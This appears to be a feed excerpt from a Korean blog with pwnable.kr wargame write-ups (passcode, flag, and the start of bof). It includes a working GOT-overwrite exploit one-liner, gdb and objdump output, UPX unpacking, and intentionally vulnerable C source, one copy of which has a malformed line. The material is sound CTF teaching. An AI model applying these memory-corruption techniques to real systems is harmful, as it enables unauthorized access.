Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Toddler's Bottle 5번 문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;c 언어로 작성한 로그인 프로그램에 문제가 있다고 하네요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:cpp&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

void login(){
        int passcode1;
        int passcode2;

        printf(&quot;enter passcode1 : &quot;);
        scanf(&quot;%d&quot;, passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf(&quot;enter passcode2 : &quot;);                          
        scanf(&quot;%d&quot;, passcode2);

        printf(&quot;checking...\n&quot;);

	printf(&quot;%d&quot;, passcode)

        if(passcode1==338150 &amp;amp;&amp;amp; passcode2==13371337){
                printf(&quot;Login OK!\n&quot;);
                system(&quot;/bin/cat flag&quot;);
        }
        else{
                printf(&quot;Login Failed!\n&quot;);
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf(&quot;enter you name : &quot;);
        scanf(&quot;%100s&quot;, name);
        printf(&quot;Welcome %s!\n&quot;, name);
}

int main(){
        printf(&quot;Toddler's Secure Login System 1.0 beta.\n&quot;);

        welcome();
        login();

        // something after login...
        printf(&quot;Now I can safely trust you that you have credential :)\n&quot;);
        return 0;
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;welcome() 에서 이름을 받아 출력한 후에&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;login() 에서 인증을 수행하고 있군요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:cpp&quot;&gt;scanf(&quot;%d&quot;, passcode1);
...
scanf(&quot;%d&quot;, passcode2);&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;문제가 되는 부분입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;본래 scanf 에서는 &quot;&amp;amp;passcode1&quot; 과 같은 형식으로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;변수의 &lt;b&gt;주소&lt;/b&gt;를 인자로 받아야 하는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;값&lt;/b&gt;을 넘기고 말았습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;입력할 수 있는 주소를 정수 인자로 전달하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;입력할 메모리 주소 지정이 가능하니&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;잘 이용하면 인증 우회를 유도할 수 있을 것 같습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain;highlight:[12]&quot;&gt;&lt;p&gt;Dump of assembler code for function welcome:
   0x08048609 &amp;lt;+0&amp;gt;:     push   ebp
   0x0804860a &amp;lt;+1&amp;gt;:     mov    ebp,esp
   0x0804860c &amp;lt;+3&amp;gt;:     sub    esp,0x88
   0x08048612 &amp;lt;+9&amp;gt;:     mov    eax,gs:0x14
   0x08048618 &amp;lt;+15&amp;gt;:    mov    DWORD PTR [ebp-0xc],eax
   0x0804861b &amp;lt;+18&amp;gt;:    xor    eax,eax
   0x0804861d &amp;lt;+20&amp;gt;:    mov    eax,0x80487cb
   0x08048622 &amp;lt;+25&amp;gt;:    mov    DWORD PTR [esp],eax
   0x08048625 &amp;lt;+28&amp;gt;:    call   0x8048420 &amp;lt;printf@plt&amp;gt;
   0x0804862a &amp;lt;+33&amp;gt;:    mov    eax,0x80487dd
   0x0804862f &amp;lt;+38&amp;gt;:    lea    edx,[ebp-0x70]
   0x08048632 &amp;lt;+41&amp;gt;:    mov    DWORD PTR [esp+0x4],edx
   0x08048636 &amp;lt;+45&amp;gt;:    mov    DWORD PTR [esp],eax
   0x08048639 &amp;lt;+48&amp;gt;:    call   0x80484a0 &amp;lt;__isoc99_scanf@plt&amp;gt;
   0x0804863e &amp;lt;+53&amp;gt;:    mov    eax,0x80487e3
   0x08048643 &amp;lt;+58&amp;gt;:    lea    edx,[ebp-0x70]
   0x08048646 &amp;lt;+61&amp;gt;:    mov    DWORD PTR [esp+0x4],edx
   0x0804864a &amp;lt;+65&amp;gt;:    mov    DWORD PTR [esp],eax
   0x0804864d &amp;lt;+68&amp;gt;:    call   0x8048420 &amp;lt;printf@plt&amp;gt;
   0x08048652 &amp;lt;+73&amp;gt;:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 &amp;lt;+76&amp;gt;:    xor    eax,DWORD PTR gs:0x14
   0x0804865c &amp;lt;+83&amp;gt;:    je     0x8048663 &amp;lt;welcome+90&amp;gt;
   0x0804865e &amp;lt;+85&amp;gt;:    call   0x8048440 &amp;lt;__stack_chk_fail@plt&amp;gt;
   0x08048663 &amp;lt;+90&amp;gt;:    leave
   0x08048664 &amp;lt;+91&amp;gt;:    ret&lt;/p&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;welcome 함수를 살펴보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;ebp - 0x70 주소를 인자로 scanf 함수를 사용하고 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;ebp - 0x70 이 &quot;char name[100]&quot; 시작 부분이 되겠네요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;또한 &quot;%100s&quot; 를 통해 최대 100자로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;바이트수를 제한하고 있으므로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;입력할 수 있는 메모리 범위는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;[ ebp - 0x70,&amp;nbsp;ebp - 0xc )&lt;/b&gt; 가 됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain;highlight:[9,15,32,33]&quot;&gt;Dump of assembler code for function login:
   0x08048564 &amp;lt;+0&amp;gt;:     push   ebp
   0x08048565 &amp;lt;+1&amp;gt;:     mov    ebp,esp
   0x08048567 &amp;lt;+3&amp;gt;:     sub    esp,0x28
   0x0804856a &amp;lt;+6&amp;gt;:     mov    eax,0x8048770
   0x0804856f &amp;lt;+11&amp;gt;:    mov    DWORD PTR [esp],eax
   0x08048572 &amp;lt;+14&amp;gt;:    call   0x8048420 &amp;lt;printf@plt&amp;gt;
   0x08048577 &amp;lt;+19&amp;gt;:    mov    eax,0x8048783
   0x0804857c &amp;lt;+24&amp;gt;:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f &amp;lt;+27&amp;gt;:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 &amp;lt;+31&amp;gt;:    mov    DWORD PTR [esp],eax
   0x08048586 &amp;lt;+34&amp;gt;:    call   0x80484a0 &amp;lt;__isoc99_scanf@plt&amp;gt;
   0x0804858b &amp;lt;+39&amp;gt;:    mov    eax,ds:0x804a02c
   0x08048590 &amp;lt;+44&amp;gt;:    mov    DWORD PTR [esp],eax
   0x08048593 &amp;lt;+47&amp;gt;:    call   0x8048430 &amp;lt;fflush@plt&amp;gt;
   0x08048598 &amp;lt;+52&amp;gt;:    mov    eax,0x8048786
   0x0804859d &amp;lt;+57&amp;gt;:    mov    DWORD PTR [esp],eax
   0x080485a0 &amp;lt;+60&amp;gt;:    call   0x8048420 &amp;lt;printf@plt&amp;gt;
   0x080485a5 &amp;lt;+65&amp;gt;:    mov    eax,0x8048783
   0x080485aa &amp;lt;+70&amp;gt;:    mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad &amp;lt;+73&amp;gt;:    mov    DWORD PTR [esp+0x4],edx
   0x080485b1 &amp;lt;+77&amp;gt;:    mov    DWORD PTR [esp],eax
   0x080485b4 &amp;lt;+80&amp;gt;:    call   0x80484a0 &amp;lt;__isoc99_scanf@plt&amp;gt;
   0x080485b9 &amp;lt;+85&amp;gt;:    mov    DWORD PTR [esp],0x8048799
   0x080485c0 &amp;lt;+92&amp;gt;:    call   0x8048450 &amp;lt;puts@plt&amp;gt;
   0x080485c5 &amp;lt;+97&amp;gt;:    cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc &amp;lt;+104&amp;gt;:   jne    0x80485f1 &amp;lt;login+141&amp;gt;
   0x080485ce &amp;lt;+106&amp;gt;:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 &amp;lt;+113&amp;gt;:   jne    0x80485f1 &amp;lt;login+141&amp;gt;
   0x080485d7 &amp;lt;+115&amp;gt;:   mov    DWORD PTR [esp],0x80487a5
   0x080485de &amp;lt;+122&amp;gt;:   call   0x8048450 &amp;lt;puts@plt&amp;gt;
   0x080485e3 &amp;lt;+127&amp;gt;:   mov    DWORD PTR [esp],0x80487af
   0x080485ea &amp;lt;+134&amp;gt;:   call   0x8048460 &amp;lt;system@plt&amp;gt;
   0x080485ef &amp;lt;+139&amp;gt;:   leave
   0x080485f0 &amp;lt;+140&amp;gt;:   ret
   0x080485f1 &amp;lt;+141&amp;gt;:   mov    DWORD PTR [esp],0x80487bd
   0x080485f8 &amp;lt;+148&amp;gt;:   call   0x8048450 &amp;lt;puts@plt&amp;gt;
   0x080485fd &amp;lt;+153&amp;gt;:   mov    DWORD PTR [esp],0x0
   0x08048604 &amp;lt;+160&amp;gt;:   call   0x8048480 &amp;lt;exit@plt&amp;gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다음으로 login 함수를 살펴보겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;ebp - 0x10 가 첫 scanf 의 인자로 사용된 것을 보아&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;[ ebp - 0x10, ebp - 0xc )&lt;/b&gt; 가 passcode1 의&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;메모리 범위 라는 것을 알 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;welcome 함수에서 사용했던&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;char name[100] 메모리의 뒷 4 바이트와&amp;nbsp;동일합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;바로 뒤에&amp;nbsp;fflush 함수가 존재하므로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://d4m0n.tistory.com/83&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;GOT Overwrite 기법&lt;/a&gt;을 사용하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;인증 우회가 가능하겠군요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;passcode@ubuntu:~$ objdump -R passcode

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;objdump 를 이용해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;fflush의 GOT 주소를 확인할 수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;&lt;p&gt;   0x080485e3 &amp;lt;+127&amp;gt;:   mov    DWORD PTR [esp],0x80487af
   0x080485ea &amp;lt;+134&amp;gt;:   call   0x8048460 &amp;lt;system@plt&amp;gt;&lt;/p&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;GOT 주소를 system()의&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;인자를 전달하는 부분의 주소로 바꾸어 두면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:bash&quot;&gt;passcode@ubuntu:~$ printf &quot;%096d\x04\xa0\x04\x08 134514147&quot; | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;cmp를 거치지 않고 플래그의 확인이 가능합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;134514147은&amp;nbsp;system()의 시작 주소값인&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;0x080485e3 scanf %d 형식에 맞춰&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;10진수 정수로 입력한 것입니다.&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/65</guid>
      <comments>https://posix.tistory.com/65#entry65comment</comments>
      <pubDate>Wed, 6 Feb 2019 15:19:40 +0900</pubDate>
    </item>
    <item>
      <title>Flag 문제풀이</title>
      <link>https://posix.tistory.com/64</link>
      <description>&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Toddler's Bottle 4번 문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;papa가 packed present 를 주셨다고 하는데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;바이너리만으로 풀 수 있는 리버싱 문제라고 합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;[root@centos7 ~]# ./flag
I will malloc() and strcpy the flag there. take it.&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;주어진 바이너리를 실행해 보면&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;malloc() 과 strcpy 함수를 사용하여&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그를 복사하고 있다는&amp;nbsp;힌트를 줍니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;(gdb) info file
Symbols from &quot;/root/flag&quot;.&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;gdb 를 이용하여&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;섹션을 조회해 보면&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;어떠한 정보도 얻을 수가 없습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;[root@centos7 ~]# upx -l flag
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2017
UPX 3.94        Markus Oberhumer, Laszlo Molnar &amp;amp; John Reiser   May 12th 2017

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    883745 -&amp;gt;    335288   37.94%   linux/amd64   flag&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이유가 무엇인가&amp;nbsp;보니&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://ko.wikipedia.org/wiki/UPX&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;UPX 패킹&lt;/a&gt;이 된 상태였군요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;문제의 'packed' present 가 힌트였나 봅니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;[root@centos7 ~]# upx -d flag
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2017
UPX 3.94        Markus Oberhumer, Laszlo Molnar &amp;amp; John Reiser   May 12th 2017

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    883745 &amp;lt;-    335288   37.94%   linux/amd64   flag

Unpacked 1 file.&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;upx -d 명령으로 바이너리를&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;decompress 했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;(gdb) info file
Symbols from &quot;/root/flag&quot;.
Local exec file:
        `/root/flag', file type elf64-x86-64.
        Entry point: 0x401058
        0x0000000000400190 - 0x00000000004001b0 is .note.ABI-tag
        0x00000000004001b0 - 0x00000000004001d4 is .note.gnu.build-id
        0x00000000004001d8 - 0x00000000004002f8 is .rela.plt
        0x00000000004002f8 - 0x0000000000400310 is .init
        0x0000000000400310 - 0x00000000004003d0 is .plt
        0x00000000004003d0 - 0x0000000000494d38 is .text
        0x0000000000494d40 - 0x000000000049655c is __libc_freeres_fn
        0x0000000000496560 - 0x0000000000496608 is __libc_thread_freeres_fn
        0x0000000000496608 - 0x0000000000496616 is .fini
        0x0000000000496620 - 0x00000000004b39c4 is .rodata
        0x00000000004b39c8 - 0x00000000004b39d0 is __libc_atexit
        0x00000000004b39d0 - 0x00000000004b3a28 is __libc_subfreeres
        0x00000000004b3a28 - 0x00000000004b3a30 is __libc_thread_subfreeres
        0x00000000004b3a30 - 0x00000000004c0fdc is .eh_frame
        0x00000000004c0fdc - 0x00000000004c115e is .gcc_except_table
        0x00000000006c1ef0 - 0x00000000006c1f10 is .tdata
        0x00000000006c1f10 - 0x00000000006c1f48 is .tbss
        0x00000000006c1f10 - 0x00000000006c1f18 is .init_array
        0x00000000006c1f18 - 0x00000000006c1f20 is .fini_array
        0x00000000006c1f20 - 0x00000000006c1f30 is .ctors
        0x00000000006c1f30 - 0x00000000006c1f40 is .dtors
        0x00000000006c1f40 - 0x00000000006c1f48 is .jcr
        0x00000000006c1f50 - 0x00000000006c1fd0 is .data.rel.ro
        0x00000000006c1fd0 - 0x00000000006c1fe0 is .got
        0x00000000006c1fe8 - 0x00000000006c2060 is .got.plt
        0x00000000006c2060 - 0x00000000006c36f0 is .data
        0x00000000006c3700 - 0x00000000006c6288 is .bss
        0x00000000006c6290 - 0x00000000006c62d8 is __libc_freeres_ptrs&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이제 섹션 정보가 정상적으로 출력됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;(gdb) disas main
Dump of assembler code for function main:
   0x0000000000401164 &amp;lt;+0&amp;gt;:     push   rbp
   0x0000000000401165 &amp;lt;+1&amp;gt;:     mov    rbp,rsp
   0x0000000000401168 &amp;lt;+4&amp;gt;:     sub    rsp,0x10
   0x000000000040116c &amp;lt;+8&amp;gt;:     mov    edi,0x496658
   0x0000000000401171 &amp;lt;+13&amp;gt;:    call   0x402080 &amp;lt;puts&amp;gt;
   0x0000000000401176 &amp;lt;+18&amp;gt;:    mov    edi,0x64
   0x000000000040117b &amp;lt;+23&amp;gt;:    call   0x4099d0 &amp;lt;malloc&amp;gt;
   0x0000000000401180 &amp;lt;+28&amp;gt;:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401184 &amp;lt;+32&amp;gt;:    mov    rdx,QWORD PTR [rip+0x2c0ee5]        # 0x6c2070 &amp;lt;flag&amp;gt;
   0x000000000040118b &amp;lt;+39&amp;gt;:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040118f &amp;lt;+43&amp;gt;:    mov    rsi,rdx
   0x0000000000401192 &amp;lt;+46&amp;gt;:    mov    rdi,rax
   0x0000000000401195 &amp;lt;+49&amp;gt;:    call   0x400320
   0x000000000040119a &amp;lt;+54&amp;gt;:    mov    eax,0x0
   0x000000000040119f &amp;lt;+59&amp;gt;:    leave
   0x00000000004011a0 &amp;lt;+60&amp;gt;:    ret
End of assembler dump.&lt;/pre&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;어셈블리화 하여 확인해 보니&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;malloc 으로 메모리를 확보하고&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;0x6c2070 가 참조하고 있는 주소를&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;0x400320 의 인자로 전달하고 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;/div&gt;
&lt;div&gt;&lt;pre class=&quot;brush:plain&quot;&gt;(gdb) x/s *0x6c2070
0x496628:       &quot;UPX...? sounds like a delivery service :)&quot;&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;참조 데이터를 문자열 형태로 출력하니&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그를 확인할 수 있었습니다.&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/64</guid>
      <comments>https://posix.tistory.com/64#entry64comment</comments>
      <pubDate>Tue, 5 Feb 2019 22:40:00 +0900</pubDate>
    </item>
    <item>
      <title>Bof 문제풀이</title>
      <link>https://posix.tistory.com/63</link>
      <description>&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000&lt;/pre&gt;

&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Toddler's Bottle 3번 문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이름으로 추측할 수 있듯 버퍼 오버 플로우에 관한 문제인데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Netcat&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;netcat&lt;/a&gt; 을 사용하여 통신하라고 되어 있네요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;윈도우즈용 netcat은 &lt;a href=&quot;https://eternallybored.org/misc/netcat/&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;이곳&lt;/a&gt;&lt;a href=&quot;https://eternallybored.org/misc/netcat/&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;에서&lt;/a&gt; 다운받을 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div&gt;&lt;pre class=&quot;brush:cpp; &quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
void func(int key){
	char overflowme[32];
	printf(&quot;overflow me : &quot;);
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system(&quot;/bin/sh&quot;);
	}
	else{
		printf(&quot;Nah..\n&quot;);
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;소스파일을 확인해 보겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;main 함수에서 0xdeadbeef 를 인자로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;func 함수를 실행하고 있군요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그리고선 overflowme 라는 char 배열에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;gets 로 입력을 받고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;함수 호출 인자였던 0xdeadbeef 와 0xcafebabe 를 비교해서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;동일하면 시스템 쉘을 얻을 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;문제는 비교 문자열들이&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;모두 하드코딩되어 편집할 방법이 없다는 것입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그래서 필요한 것이&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;바로 버퍼 오버플로우인데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;버퍼 오버플로우에도 여러 종류가 있지만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이번에 우리가 사용할 기법은&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://ko.wikipedia.org/wiki/%EC%8A%A4%ED%83%9D_%EB%B2%84%ED%8D%BC_%EC%98%A4%EB%B2%84%ED%94%8C%EB%A1%9C&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;스택 오버플로우&lt;/a&gt; 입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
